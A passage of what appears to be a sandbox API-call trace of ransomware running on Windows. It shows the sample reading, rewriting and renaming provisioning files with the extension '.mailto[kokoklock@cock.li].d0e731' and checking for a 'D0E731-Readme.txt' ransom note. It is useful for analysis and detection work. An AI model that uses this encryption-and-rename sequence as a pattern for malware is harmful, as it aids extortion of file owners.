lpFileSize=0x2e93ff18 | out: lpFileSize=0x2e93ff18*=704) returned 1 [0086.968] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.968] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e93feec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e93fee8, lpOverlapped=0x0 | out: lpBuffer=0x2e93feec*, lpNumberOfBytesRead=0x2e93fee8*=0x4, lpOverlapped=0x0) returned 1 [0086.970] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfb0 [0086.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfd8 [0086.971] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf38 [0086.971] NtQuerySystemTime (in: CurrentTime=0x2e93fec4 | out: CurrentTime=0x2e93fec4*=132121176448673294) returned 0x0 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0x7bacd34a [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0xa4af32d5 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0xc2ab2d65 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0x4eb45328 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0xdd48f62a [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0xe798832f [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0xb2796b3a [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0x9e0f4c1f [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0x586bdde5 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0x4b64b013 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0x72a8ea62 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0x1946bd07 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0xfe6df3cf [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0x1ed46e26 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0xd69c6ef7 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0xabe057da [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0x2a22b11b [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0xb1c8ae6 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0x988c9a04 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0x61f8cce3 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0xdd60620 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0x736b7105 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0x9d6128f0 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0x864efcc6 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0xd9efcdab [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0xa965383f [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0xb9e7c4cb [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0xdd800f2 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0x52f6dd52 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0x9f84da54 [0086.971] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0xd42e98a [0086.972] RtlRandom (in: Seed=0x2e93fed0 | out: Seed=0x2e93fed0) returned 0xf1cedb2c [0086.982] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2c0, lpNumberOfBytesRead=0x2e93fec4, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e93fec4*=0x2c0, lpOverlapped=0x0) returned 1 [0086.982] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e93fe8c | out: lpNewFilePointer=0x0) returned 1 [0086.982] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e93fec0, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e93fec0*=0x2c0, lpOverlapped=0x0) returned 1 [0086.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfb0 [0086.982] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55de000 [0086.982] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de000) returned 1 [0086.983] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddfb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e93febc, lpOverlapped=0x0 | out: lpBuffer=0x55ddfb0*, lpNumberOfBytesWritten=0x2e93febc*=0x20, lpOverlapped=0x0) returned 1 [0086.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddfb0) returned 1 [0086.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.983] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddf88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e93fee8, lpOverlapped=0x0 | out: lpBuffer=0x55ddf88*, lpNumberOfBytesWritten=0x2e93fee8*=0x8, lpOverlapped=0x0) returned 1 [0086.983] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e93ff00*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e93fee8, lpOverlapped=0x0 | out: lpBuffer=0x2e93ff00*, lpNumberOfBytesWritten=0x2e93fee8*=0x4, lpOverlapped=0x0) returned 1 [0086.983] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e93fee8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e93fee8*=0x4, lpOverlapped=0x0) returned 1 [0086.983] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e93fee8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e93fee8*=0x6c, lpOverlapped=0x0) returned 1 [0086.983] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddfd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e93fee8, lpOverlapped=0x0 | out: lpBuffer=0x55ddfd8*, lpNumberOfBytesWritten=0x2e93fee8*=0x20, lpOverlapped=0x0) returned 1 [0086.983] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e93fee8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e93fee8*=0x4, lpOverlapped=0x0) returned 1 [0086.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddfd8) returned 1 [0086.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf60) returned 1 [0086.983] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf88) returned 1 [0086.984] CloseHandle (hObject=0x3d0) returned 1 [0086.984] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x17c) returned 0x33fc9c8 [0086.984] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" [0086.984] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.984] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\147__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\147__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.984] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.985] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.985] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.985] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.985] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.985] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.985] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.985] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.985] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478010) returned 1 [0086.985] RtlExitUserThread (Status=0x1) Thread: id = 1338 os_tid = 0x1398 [0086.986] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\148__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml")) returned 0x20 [0086.986] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.987] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\148__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.987] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e9bfb6c | out: lpFileSize=0x2e9bfb6c*=707) returned 1 [0086.987] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.987] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e9bfb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e9bfb3c, lpOverlapped=0x0 | out: lpBuffer=0x2e9bfb40*, lpNumberOfBytesRead=0x2e9bfb3c*=0x4, lpOverlapped=0x0) returned 1 [0086.988] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.988] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfd8 [0086.988] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55de000 [0086.988] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf60 [0086.988] NtQuerySystemTime (in: CurrentTime=0x2e9bfb18 | out: CurrentTime=0x2e9bfb18*=132121176448829030) returned 0x0 [0086.988] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0xc3e3688c [0086.988] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x9d2174b8 [0086.988] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x3a05e472 [0086.988] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x6f63f8df [0086.988] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x1df3ed3c [0086.988] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0xc45914f3 [0086.988] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x4f3474dc [0086.988] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x972eaf18 [0086.988] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0xf33f385f [0086.988] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x13d92420 [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x3406b471 [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x45aa9468 [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x593cc49a [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x623d0340 [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x8efbaec6 [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0xe181f82f [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0xd6a725f9 [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x363e882d [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0xeac7a83a [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x92af60f [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x97a27602 [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0xebd5163a [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0xd1957edf [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x7635cc8a [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0xe12bcf59 [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0xac22f627 [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x1bb2adec [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x4ab22236 [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x98e4915a [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0xd2430943 [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x350d2153 [0086.989] RtlRandom (in: Seed=0x2e9bfb24 | out: Seed=0x2e9bfb24) returned 0x19ef02cc [0086.999] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x2e9bfb18, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e9bfb18*=0x2c3, lpOverlapped=0x0) returned 1 [0087.000] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9bfae0 | out: lpNewFilePointer=0x0) returned 1 [0087.000] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2c3, lpNumberOfBytesWritten=0x2e9bfb14, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e9bfb14*=0x2c3, lpOverlapped=0x0) returned 1 [0087.000] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfd8 [0087.000] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1b0 [0087.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.000] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddfd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e9bfb10, lpOverlapped=0x0 | out: lpBuffer=0x55ddfd8*, lpNumberOfBytesWritten=0x2e9bfb10*=0x20, lpOverlapped=0x0) returned 1 [0087.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddfd8) returned 1 [0087.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.000] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddfb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e9bfb3c, lpOverlapped=0x0 | out: lpBuffer=0x55ddfb0*, lpNumberOfBytesWritten=0x2e9bfb3c*=0x8, lpOverlapped=0x0) returned 1 [0087.000] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e9bfb54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e9bfb3c, lpOverlapped=0x0 | out: lpBuffer=0x2e9bfb54*, lpNumberOfBytesWritten=0x2e9bfb3c*=0x4, lpOverlapped=0x0) returned 1 [0087.000] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e9bfb3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e9bfb3c*=0x4, lpOverlapped=0x0) returned 1 [0087.000] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e9bfb3c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e9bfb3c*=0x6c, lpOverlapped=0x0) returned 1 [0087.000] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e9bfb3c, lpOverlapped=0x0 | out: lpBuffer=0x55de000*, lpNumberOfBytesWritten=0x2e9bfb3c*=0x20, lpOverlapped=0x0) returned 1 [0087.001] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e9bfb3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e9bfb3c*=0x4, lpOverlapped=0x0) returned 1 [0087.001] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de000) returned 1 [0087.001] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf88) returned 1 [0087.001] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddfb0) returned 1 [0087.001] CloseHandle (hObject=0x3d0) returned 1 [0087.001] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x17c) returned 0x33fc9c8 [0087.001] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" [0087.001] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.001] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\148__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\148__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.002] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.002] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.002] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.002] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.002] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.002] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.002] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.002] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.002] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478158) returned 1 [0087.002] RtlExitUserThread (Status=0x1) Thread: id = 1339 os_tid = 0x139c [0087.003] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\149__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml")) returned 